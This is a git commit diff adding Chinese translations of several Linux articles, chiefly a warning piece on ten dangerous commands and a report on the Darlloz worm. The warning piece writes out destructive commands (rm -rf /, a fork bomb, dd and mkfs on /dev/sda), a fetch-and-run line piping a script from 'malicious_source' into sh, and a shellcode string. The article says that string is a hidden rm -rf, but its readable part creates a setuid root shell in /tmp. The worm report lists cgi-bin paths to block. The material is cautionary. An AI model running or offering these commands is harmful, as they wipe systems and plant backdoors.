This commit is contained in:
zheng 2013-12-08 18:40:34 +08:00
commit a4a59fd30b
11 changed files with 552 additions and 536 deletions

4
.gitignore vendored
View File

@ -1,3 +1,3 @@
*.md~
members.md
*.html
*.html

View File

@ -0,0 +1,97 @@
永远不要在Linux执行的10个最危险的命令
================================================================================
Linux命令行佷有用、很高效也很有趣但有时候也很危险尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。译注当然以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普通用户身份下破坏的只是自己的一亩三分地。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)
### 1. rm -rf 命令 ###
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
- **rm** 命令在Linux下通常用来删除文件。
- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
- **rm -f** 命令能不经过询问直接删除只读文件译注Linux下删除文件并不在乎该文件是否是只读的而只是在意其父目录是否有写权限。所以-f这个参数只是表示不必一个个删除确认而是一律悄悄删除。另外原始的rm命令其实也是没有删除提示的只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认而-f则抑制了这个提示。
- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
- rm -rf *: 强制删除当前目录的所有文件。
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么译者本人有着血泪的教训啊。
### 2. :(){:|:&};: 命令###
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
### 3. 命令 > /dev/sda ###
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
### 4. mv 文件夹 /dev/null ###
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
### 5. wget http://malicious_source -O- | sh ###
上列命令会从一个也许是恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会(无条件的)执行下载下来的脚本。
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。译注所以你真的知道你在做什么吗当遇到这种需要是我的做法是先wget下来然后我去读一读其中到底写了些什么然后考虑是否执行。
### 6. mkfs.ext3 /dev/sda ###
上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备除非是作为raw设备使用一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然无论你使用sda还是sda1这样对块设备或分区进行mkfs都是毁灭性的上面的数据都会被蒸发了。
### 7. > file###
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
### 8. \^foo\^bar ###
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
### 9. dd if=/dev/random of=/dev/sda ###
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然你的系统可能陷入混乱和不可恢复的状态。译注记得上面说过mv到黑洞并不能彻底删除数据么那么这个命令就是给了你一个彻底删除的方法当然为了保险起见你可以覆写多次。
### 10. 隐藏命令 ###
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2284-1.html

View File

@ -1,16 +1,17 @@
每日Ubuntu小技巧-使用OpenDNS的安全协议保护你的电脑
每日Ubuntu小技巧-使用OpenDNS保护你的电脑
===
因特网是个大熔炉。无论是好人还是坏人,都可以连接到和我们一样的网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,因特网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供有免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入因特网真是一件好事情。
互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
正因为此,推荐连入因特网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
当寻找添加一个额外的安全层去保护你的机器时使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成尽力对其每一部分都进行相应保护是保证安全的最好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。译注我们认为其实在Ubuntu上使用反病毒和反间谍软件并不太必要但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外使用国外的DNS可能会比较慢也许过一段时间国内也会出现类似的服务。
这是一个简明手册告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
@ -30,6 +31,6 @@
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,6 +1,6 @@
如何在Linux平台上安装Ghost博客平台
===
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台。
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台。
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
@ -35,7 +35,7 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4]
在你的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
在你本机的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5]
@ -57,10 +57,12 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
你也可以检查一下forever活动进程列表
$ sudo forever list
-
> info: Forever processes running
> data: uid command script forever pid logfile uptime
> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
info: Forever processes running
data: uid command script forever pid logfile uptime
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
假如你看到以上信息意味着Ghost已经成功以后台进程运行咯。

View File

@ -1,12 +1,13 @@
新蠕虫能感染 Linux 系统和嵌入式设备!
================================================================================
**来自𧶼门铁克研究员的消息这个病毒通过2012年出现的 PHP 漏洞传播**
**来自赛门铁克研究员的消息这个病毒通过2012年出现的 PHP 漏洞传播**
据美国国际数据集团IDG的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机,其变种还会对运行在其他芯片架构上的设备(诸如家用路由器和机顶盒)造成威胁。
根据𧶼门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口CGI的配置环境下被执行。此漏洞的代号为 CVE-2012-1823通过这个漏洞攻击者可以远程执行任意代码所以这个漏洞又叫“程任意代码执行漏洞” —— 译者注。2012年5月份PHP 5.4.3 和 PHP 5.3.13 这两个版本被打上补丁,修复了这个漏洞。
根据门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口CGI的配置环境下被执行。此漏洞的代号为 CVE-2012-1823通过这个漏洞攻击者可以远程执行任意代码所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注。2012年5月份PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。
这个𧶼门铁克的研究员在[博客][1]中写道这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码PoCproof of concept概念验证。利用目标计算机的漏洞为对其进行攻击而设计的代码称为 exploit而一个没有充分利用漏洞的 exploit就是 PoC —— 译者注)。
这个门铁克的研究员在[博客][1]中写道这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码PoCproof of concept概念验证。利用目标计算机的漏洞为对其进行攻击而设计的代码称为 exploit而一个没有充分利用漏洞的 exploit就是 PoC —— 译者注)。
“在传播过程中,这段蠕虫代码会随机产生 IP 地址,通过特殊途径,利用普通的用户名密码发送 HTTP POST 请求,探测漏洞”,研究员解释道:“如果一个目标没有打上 CVE-2012-1823 的补丁,这台机器就会从病毒服务器下载蠕虫病毒,之后寻找下一个目标。”
@ -26,13 +27,13 @@
“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞,”啰嗦的研究员说:“我们面临的另一个问题是,即使用户注意到他们用的是有漏洞的设备,这些设备的供应商却没有提供补丁,原因是技术落后,或者完全就是硬件的限制:内存不足,或 CPU 太慢,不足以支持这些软件的新版本。”
“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的𧶼门铁克研究员说道。
“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的门铁克研究员说道。
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122
译者:[bazz2](https://github.com/bazz2) 校对:[校对者ID](https://github.com/校对者ID)
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,305 @@
30个实例详解TOP命令
================================================================================
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
译注不同发行版的top命令在各种细节有不同如果发现不同时请读你的帮助手册和命令内的帮助。
## 1. Top 命令输出: ##
首先让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义默认运行时top命令会显示如下输出
![默认显示](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png)
前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
### 1.1 系统运行时间和平均负载: ###
![显示运行时间](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png)
top命令的顶部显示与uptime命令相似的输出。
这些字段显示:
- 当前时间
- 系统已运行的时间
- 当前登录用户的数量
- 相应最近5、10和15分钟内的平均负载。
可以使用'l'命令切换uptime的显示。
### 1.2 任务: ###
![任务概况](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png)
第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态)。这些进程概括信息可以用't'切换显示。
### 1.3 CPU 状态: ###
![CPU状态显示](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png)
下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示:
- us, user 运行(未调整优先级的) 用户进程的CPU时间
- sysystem: 运行内核进程的CPU时间
- niniced运行已调整优先级的用户进程的CPU时间
- waIO wait: 用于等待IO完成的CPU时间
- hi处理硬件中断的CPU时间
- si: 处理软件中断的CPU时间
- st这个虚拟机被hypervisor偷去的CPU时间译注如果当前处于一个hypervisor下的vm实际上hypervisor也是要消耗一部分CPU处理时间的
可以使用't'命令切换显示。
### 1.4 内存使用: ###
![内存使用情况](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png)
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换部分显示的是:全部、已使用、空闲和缓冲交换空间。
内存显示可以用'm'命令切换。
### 1.5 字段/列: ###
![任务信息列](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png)
在横向列出的系统属性和状态下面,是以列显示的进程。不同的列代表下面要解释的不同属性。
默认上top显示这些关于进程的属性
**PID**
进程ID进程的唯一标识符
**USER**
进程所有者的实际用户名。
**PR**
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
**NI**
进程的nice值优先级。越小的值意味着越高的优先级。
**VIRT**
进程使用的虚拟内存。
**RES**
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
**SHR**
SHR是进程使用的共享内存。
**S**
这个是进程的状态。它有以下不同的值:
- D - 不可中断的睡眠态。
- R 运行态
- S 睡眠态
- T 被跟踪或已停止
- Z 僵尸态
**%CPU**
自从上一次更新时到现在任务所使用的CPU时间百分比。
**%MEM**
进程使用的可用物理内存百分比。
**TIME+**
任务启动后到现在所使用的全部CPU时间精确到百分之一秒。
**COMMAND**
运行进程所使用的命令。
还有许多在默认情况下不会显示的输出它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
## 2. 交互命令: ##
我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。
### 2.1 h: 帮助 ###
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
![帮助菜单](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png)
### 2.2 \<ENTER> 或者 \<SPACE>: 刷新显示 ###
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
### 2.3 A: 切换交替显示模式 ###
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口译注分别关注不同的字段:
1. Def (默认字段组)
2. Job (任务字段组)
3. Mem (内存字段组)
4. Usr (用户字段组)
这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。译注只有当前窗口才会接受你键盘交互命令
![交替显示](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png)
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
![在交替显示中选择窗口](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png)
### 2.4 B: 触发粗体显示 ###
一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。
![关闭粗体](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png)
### 2.5 ds: 设置显示的刷新间隔 ###
当按下'd'或's'时你将被提示输入一个值以秒为单位它会以设置的值作为刷新间隔。如果你这里输入了1top将会每秒刷新。
![刷新间隔l](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png)
### 2.6 ltm: 切换负载、任务、内存信息的显示 ###
这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。
![不显示平均负载](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png)
![不显示CPU概况](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png)
![不显示内存和交换内存概况](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png)
![上面三个全不显示](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png)
### 2.7 f: 字段管理 ###
用于选择你想要显示的字段。用'*'标记的是已选择的。
![管理显示列](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png)
上下光标键在字段内导航,左光标键可以选择字段,回车或右光标键确认。
按'<'移动已排序的字段到左边,'>'则移动到右边。
### 2.8 R: 反向排序 ###
切换反向/常规排序。
### 2.9 c: 触发命令 ###
切换是否显示进程启动时的完整路径和程序名。
![完整命令路径](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png)
### 2.10 i: 空闲任务 ###
切换显示空闲任务。
![不显示空闲命令](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png)
### 2.11 V: 树视图 ###
切换树视图。
![树视图](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png)
### 2.12 Z: 改变配色 ###
按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。
![定制颜色](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png)
下面显示的是4中颜色显示的top视图。
![彩色显示](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png)
### 2.13 z: 切换彩色显示 ###
切换彩色,即打开或关闭彩色显示。
### 2.14 x 或者 y ###
切换高亮信息:'x'将排序字段高亮显示(纵列);'y'将运行进程高亮显示(横行)。依赖于你的显示设置,你可能需要让输出彩色来看到这些高亮。
![X 和 Y高亮](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png)
### 2.15 u: 特定用户的进程 ###
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
![raghu的进程](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png)
### 2.16 n#: 任务的数量 ###
设置最大显示的任务数量
![设置最大显示的任务数量](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png)
### 2.17 k: 结束任务 ###
top命令中最重要的一个命令之一。用于发送信号给任务通常是结束任务
![杀死一个任务](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png)
### 2.18 r: 重新设置优先级 ###
重新设置一个任务的调度优先级。
## 3. 命令行选项: ##
这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作但是你也可以带参数运行top来设置你想要的效果。
### 3.1 -b: 批处理模式 ###
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
### 3.2 -c: 命令/程序名 触发: ###
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示(是否显示完整路径)。
### 3.3 -d: 设置延迟间隔 ###
设置top的显示间隔(以秒计)。比如。
$ top -d 1
将会以1秒的刷新间隔启动top。
### 3.4 -i: 切换显示空闲进程 ###
这个选项设置top命令的上一次记住的**相反的**'i'状态。
### 3.5 -n: 设置迭代数量 ###
用-n选项你可以设置top退出前迭代的次数。
$ top -n 3
将会在刷新输出3次后退出。
### 3.6 -p: 监控特定的PID ###
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
### 3.7 -u 或 -U: 用户名 或者 UID ###
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的同时只可以使用这其中一个选项。当你试图组合使用这些选项时你会得到一个错误:
$ top -p 28453 -u raghu
top: conflicting process selections (U/p/u)
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,62 +0,0 @@
icybreaker translating
Insights into top 3 IT skill groups in highest demand
================================================================================
![](http://www.linuxcareer.com/images/linux_it_skills_watch.png)
According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories.
It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills.
> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study.
### October 2013 update to IT skills classification ###
![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png)
In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com.
### Embedded Devices Developers and Programmers ###
The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph.
In general, this group of skills can be further split into three segments. These are:
1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the Octobers IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions.
1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively.
1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code.
![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png)
### Virtualization Engineers including skills related to data storage and management ###
The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMwares cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient.
![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png)
### LAMP Administrators ###
Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other.
![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png)
### Conclusion ###
In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed.
### References ###
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
--------------------------------------------------------------------------------
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linuxcareer.com/it-skill-sets
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
[3]:http://www.r-project.org/

View File

@ -0,0 +1,77 @@
Intel Haswell Linux Virtualization: KVM vs. Xen vs. VirtualBox
==============================================================
The latest chapter to our lengthy [Intel Haswell][1] on [Linux saga][2] is virtualization benchmarks. From Fedora 19 with the very latest software components for Linux virtualization, the performance of KVM, Xen, and VirtualBox were benchmarked from the Intel Core i7 4770K "Haswell" CPU.
